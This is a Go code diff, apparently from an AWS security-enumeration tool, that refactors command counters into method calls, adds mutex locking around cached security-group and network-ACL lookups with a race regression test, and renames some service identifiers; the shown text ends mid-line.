func (m *NetworkPortsModule) getRdsNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}()
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
nacls := m.getEC2NACLsPerRegion(r)
@@ -1143,13 +1142,16 @@ func (m *NetworkPortsModule) getRdsNetworkPortsPerRegion(r string, dataReceiver
}
func (m *NetworkPortsModule) getEC2SecurityGroupsPerRegion(region string) []ec2_types.SecurityGroup {
m.securityGroupsMutex.RLock()
cached, ok := m.securityGroups[region]
m.securityGroupsMutex.RUnlock()
if ok && cached != nil {
return *cached
}
var securityGroups []ec2_types.SecurityGroup
var PaginationControl *string
if m.securityGroups[region] != nil {
return *m.securityGroups[region]
}
for {
DescribeSecurityGroups, err := m.EC2Client.DescribeSecurityGroups(
context.TODO(),
@@ -1162,7 +1164,7 @@ func (m *NetworkPortsModule) getEC2SecurityGroupsPerRegion(region string) []ec2_
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1176,9 +1178,9 @@ func (m *NetworkPortsModule) getEC2SecurityGroupsPerRegion(region string) []ec2_
}
}
securityGroupsMutex.Lock()
m.securityGroupsMutex.Lock()
m.securityGroups[region] = &securityGroups
securityGroupsMutex.Unlock()
m.securityGroupsMutex.Unlock()
return securityGroups
}
@@ -1215,13 +1217,16 @@ func (m *NetworkPortsModule) parseSecurityGroup(group ec2_types.SecurityGroup) S
}
func (m *NetworkPortsModule) getEC2NACLsPerRegion(region string) []ec2_types.NetworkAcl {
m.naclsMutex.RLock()
cached, ok := m.nacls[region]
m.naclsMutex.RUnlock()
if ok && cached != nil {
return *cached
}
var nacls []ec2_types.NetworkAcl
var PaginationControl *string
if m.nacls[region] != nil {
return *m.nacls[region]
}
for {
DescribeNetworkAcls, err := m.EC2Client.DescribeNetworkAcls(
context.TODO(),
@@ -1234,7 +1239,7 @@ func (m *NetworkPortsModule) getEC2NACLsPerRegion(region string) []ec2_types.Net
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1248,9 +1253,9 @@ func (m *NetworkPortsModule) getEC2NACLsPerRegion(region string) []ec2_types.Net
}
}
naclsMutex.Lock()
m.naclsMutex.Lock()
m.nacls[region] = &nacls
naclsMutex.Unlock()
m.naclsMutex.Unlock()
return nacls
}
@@ -1320,7 +1325,7 @@ func (m *NetworkPortsModule) getEC2InstancesPerRegion(region string) []ec2_types
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1359,7 +1364,7 @@ func (m *NetworkPortsModule) getEC2NetworkInterfacesPerRegion(interfaceId string
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1394,7 +1399,7 @@ func (m *NetworkPortsModule) getECSClustersPerRegion(region string) []string {
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1430,7 +1435,7 @@ func (m *NetworkPortsModule) getECSServicesPerRegion(clusterArn *string, region
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1493,7 +1498,7 @@ func (m *NetworkPortsModule) getECSTasksPerRegion(service *string, clusterArn *s
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1553,7 +1558,7 @@ func (m *NetworkPortsModule) getEFSSharesPerRegion(region string) []efs_types.Fi
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1589,7 +1594,7 @@ func (m *NetworkPortsModule) getEFSMountTargetsPerRegion(filesystem *string, reg
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1624,7 +1629,7 @@ func (m *NetworkPortsModule) getElastiCacheClustersPerRegion(region string) []el
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1659,7 +1664,7 @@ func (m *NetworkPortsModule) getElastiCacheSubnetGroupsPerRegion(region string)
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1694,7 +1699,7 @@ func (m *NetworkPortsModule) getElastiCacheReplicationGroupsPerRegion(region str
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1729,7 +1734,7 @@ func (m *NetworkPortsModule) getLightsailInstancesPerRegion(region string) []lig
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1764,7 +1769,7 @@ func (m *NetworkPortsModule) getLoadBalancersPerRegion(region string) []elbv2_ty
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1800,7 +1805,7 @@ func (m *NetworkPortsModule) getLBListenerPorts(arn *string, region string) ([]i
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1850,7 +1855,7 @@ func (m *NetworkPortsModule) getRdsClustersPerRegion(region string) []rds_types.
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1885,7 +1890,7 @@ func (m *NetworkPortsModule) getRdsInstancesPerRegion(region string) []rds_types
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+67
View File
@@ -0,0 +1,67 @@
package aws
import (
"fmt"
"sync"
"testing"
ec2_types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
)
// TestNetworkPortsCacheConcurrentAccess is a regression test for issue #129.
// Pre-fix, the cache lookup in getEC2NACLsPerRegion and getEC2SecurityGroupsPerRegion
// read m.nacls / m.securityGroups without holding a mutex while writes from
// other goroutines were locked, producing a "concurrent map read and map write"
// panic under load. Run with `go test -race ./aws/...` to verify the lock fix.
func TestNetworkPortsCacheConcurrentAccess(t *testing.T) {
m := &NetworkPortsModule{
nacls: make(map[string]*[]ec2_types.NetworkAcl),
securityGroups: make(map[string]*[]ec2_types.SecurityGroup),
}
// Pre-populate one region so reader goroutines hit the cached fast-path
// without needing a live EC2 client.
cachedNACLs := []ec2_types.NetworkAcl{}
m.nacls["cached"] = &cachedNACLs
cachedSGs := []ec2_types.SecurityGroup{}
m.securityGroups["cached"] = &cachedSGs
var wg sync.WaitGroup
const readers = 100
for i := 0; i < readers; i++ {
wg.Add(2)
go func() {
defer wg.Done()
_ = m.getEC2NACLsPerRegion("cached")
}()
go func() {
defer wg.Done()
_ = m.getEC2SecurityGroupsPerRegion("cached")
}()
}
// Writer goroutines populate uncached regions directly through the mutex,
// mirroring what the live functions do after a successful AWS fetch. The
// readers above must not race with these writes.
const writers = 10
for i := 0; i < writers; i++ {
region := fmt.Sprintf("uncached-%d", i)
wg.Add(2)
go func(r string) {
defer wg.Done()
sl := []ec2_types.NetworkAcl{}
m.naclsMutex.Lock()
m.nacls[r] = &sl
m.naclsMutex.Unlock()
}(region)
go func(r string) {
defer wg.Done()
sl := []ec2_types.SecurityGroup{}
m.securityGroupsMutex.Lock()
m.securityGroups[r] = &sl
m.securityGroupsMutex.Unlock()
}(region)
}
wg.Wait()
}
+4 -4
View File
@@ -191,7 +191,7 @@ func (m *OrgModule) ProcessMultipleAccounts(AWSProfiles []string, version string
for _, profile := range AWSProfiles {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.FindMgmtAccounts(profile, version, wg, semaphore, dataReceiver)
wg.Wait()
@@ -244,7 +244,7 @@ func (m *OrgModule) FindMgmtAccounts(profile string, version string, wg *sync.Wa
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Errorf("Failed to describe organization: %s", err)
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -273,7 +273,7 @@ func (m *OrgModule) addOrgAccounts() {
accounts, err := sdk.CachedOrganizationsListAccounts(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
for _, account := range accounts {
@@ -292,7 +292,7 @@ func (m *OrgModule) addOrgAccount() {
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Errorf("Failed to describe organization: %s", err)
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
m.Accounts = append(m.Accounts, Account{
+9 -9
View File
@@ -171,7 +171,7 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputDir
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -308,10 +308,10 @@ func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup,
}
if res {
// wg.Add(1)
// m.CommandCounter.Total++
// m.CommandCounter.IncrTotal()
// m.getAssumeRoleLogEntriesPerRegion(r, wg, semaphore, dataReceiver)
wg.Add(1)
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
m.getCrossAccountBatchGetImageEntriesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -319,8 +319,8 @@ func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup,
func (m *OutboundAssumedRolesModule) getAssumeRoleLogEntriesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -358,7 +358,7 @@ func (m *OutboundAssumedRolesModule) getAssumeRoleLogEntriesPerRegion(r string,
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -412,8 +412,8 @@ func (m *OutboundAssumedRolesModule) getAssumeRoleLogEntriesPerRegion(r string,
// get cross account batch get image entries
func (m *OutboundAssumedRolesModule) getCrossAccountBatchGetImageEntriesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -451,7 +451,7 @@ func (m *OutboundAssumedRolesModule) getCrossAccountBatchGetImageEntriesPerRegio
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+1 -1
View File
@@ -197,7 +197,7 @@ func (m *IamPermissionsModule) GetGAAD() {
GAAD, err := sdk.CachedIAMGetAccountAuthorizationDetails(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err)
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
+1 -1
View File
@@ -446,7 +446,7 @@ func (m *PmapperModule) writeLoot(outputDirectory string, verbosity int) string
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
panic(err.Error())
}
lootFilePath := filepath.Join(path, "pmapper.txt")
+8 -8
View File
@@ -97,7 +97,7 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
// done := make(chan bool)
// go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, done)
// wg.Add(1)
// m.CommandCounter.Pending++
// m.CommandCounter.IncrPending()
//m.executeChecks(wg)
// wg.Wait()
// done <- true
@@ -237,13 +237,13 @@ func (m *IamPrincipalsModule) PrintIamPrincipals(outputDirectory string, verbosi
/* UNUSED CODE BLOCK - PLEASE REVIEW AND DELETE IF APPLICABLE
func (m *IamPrincipalsModule) executeChecks(wg *sync.WaitGroup) {
defer wg.Done()
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
m.getIAMUsers()
m.getIAMRoles()
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}
*/
@@ -256,7 +256,7 @@ func (m *IamPrincipalsModule) addIAMUsersToTable() {
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, user := range ListUsers {
@@ -288,7 +288,7 @@ func (m *IamPrincipalsModule) addIAMRolesToTable() {
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, role := range ListRoles {
+8 -8
View File
@@ -79,7 +79,7 @@ func (m *RAMModule) PrintRAM(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, dataReceiver)
}
@@ -191,12 +191,12 @@ func (m *RAMModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver cha
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
m.getRAMResourcesPerRegion(r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}
}
@@ -235,7 +235,7 @@ func (m *RAMModule) getRAMResourcesPerRegion(r string, dataReceiver chan Resourc
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -259,7 +259,7 @@ func (m *RAMModule) getRAMResourcesPerRegion(r string, dataReceiver chan Resourc
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+54 -54
View File
@@ -104,7 +104,7 @@ func (m *ResourceTrustsModule) PrintResources(outputDirectory string, verbosity
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver, includeKms)
}
@@ -217,7 +217,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -227,7 +227,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getSQSQueuesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -237,7 +237,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getECRRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -247,7 +247,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getCodeBuildResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -257,7 +257,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getLambdaPolicyPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -267,17 +267,17 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getSecretsManagerSecretsPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -287,7 +287,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getGlueResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -298,7 +298,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getKMSPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -310,7 +310,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getAPIGatewayPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -322,19 +322,19 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getVPCEndpointPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
}
if m.OpenSearchClient != nil {
res, err = servicemap.IsServiceInRegion("es", r)
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getOpenSearchPoliciesPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -356,8 +356,8 @@ func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone ch
func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -378,7 +378,7 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
@@ -433,8 +433,8 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
func (m *ResourceTrustsModule) getS3Buckets(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -516,8 +516,8 @@ func (m *ResourceTrustsModule) getS3Buckets(wg *sync.WaitGroup, semaphore chan s
func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -539,7 +539,7 @@ func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGrou
queue, err := cloudFoxSQSClient.getQueueWithAttributes(q, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -578,8 +578,8 @@ func (m *ResourceTrustsModule) getSQSQueuesPerRegion(r string, wg *sync.WaitGrou
func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -601,7 +601,7 @@ func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGro
repoPolicy, err := cloudFoxECRClient.getECRRepositoryPolicy(r, aws.ToString(repo.RepositoryName))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -642,8 +642,8 @@ func (m *ResourceTrustsModule) getECRRecordsPerRegion(r string, wg *sync.WaitGro
func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -666,7 +666,7 @@ func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, w
project, err := sdk.CachedCodeBuildBatchGetProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -716,8 +716,8 @@ func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, w
func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -739,7 +739,7 @@ func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitG
functionPolicy, err := cloudFoxLambdaClient.getResourcePolicy(r, aws.ToString(f.FunctionName))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -781,8 +781,8 @@ func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitG
func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -804,7 +804,7 @@ func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *s
fsPolicy, err := sdk.CachedDescribeFileSystemPolicy(cloudFoxEFSClient.EFSClient, aws.ToString(fs.FileSystemId), r, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -851,8 +851,8 @@ func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *s
// It takes the region to search in, the WaitGroup to use, the semaphore to use, and the dataReceiver channel to send results to.
func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -874,7 +874,7 @@ func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r strin
secretPolicy, err := sdk.CachedSecretsManagerGetResourcePolicy(cloudFoxSecretsManagerClient, aws.ToString(s.ARN), r, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -921,8 +921,8 @@ func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r strin
// It takes the region to search in, the WaitGroup to use, the semaphore to use, and the dataReceiver channel to send results to.
func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
semaphore <- struct{}{}
@@ -942,7 +942,7 @@ func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGr
keyPolicy, err := sdk.CachedKMSGetKeyPolicy(*m.KMSClient, aws.ToString(m.Caller.Account), r, aws.ToString(key.KeyId))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -985,8 +985,8 @@ func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGr
func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
semaphore <- struct{}{}
@@ -1016,7 +1016,7 @@ func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync
restAPIPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
if err != nil {
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(restAPI.Name), err))
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -1063,8 +1063,8 @@ func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync
func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
semaphore <- struct{}{}
@@ -1086,7 +1086,7 @@ func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *syn
vpcEndpointPolicy, err := policy.ParseJSONPolicy([]byte(vpcEndpointPolicyJson))
if err != nil {
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(vpcEndpoint.VpcEndpointId), err))
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -1133,8 +1133,8 @@ func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *syn
func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
semaphore <- struct{}{}
@@ -1153,7 +1153,7 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
openSearchDomainConfig, err := sdk.CachedOpenSearchDescribeDomainConfig(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -1167,7 +1167,7 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
openSearchDomainStatus, err := sdk.CachedOpenSearchDescribeDomain(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -1179,7 +1179,7 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
openSearchDomainPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
if err != nil {
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(openSearchDomainStatus.ARN), err))
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
@@ -1226,8 +1226,8 @@ func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync
func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
+4 -2
View File
@@ -466,6 +466,8 @@ func parseFederatedTrustPolicy(statement policy.RoleTrustStatementEntry) (string
subjects = append(subjects, statement.Condition.StringLike.TokenActionsGithubusercontentComSub...)
} else if len(statement.Condition.StringEquals.TokenActionsGithubusercontentComSub) > 0 {
subjects = append(subjects, statement.Condition.StringEquals.TokenActionsGithubusercontentComSub...)
} else if len(statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub) > 0 {
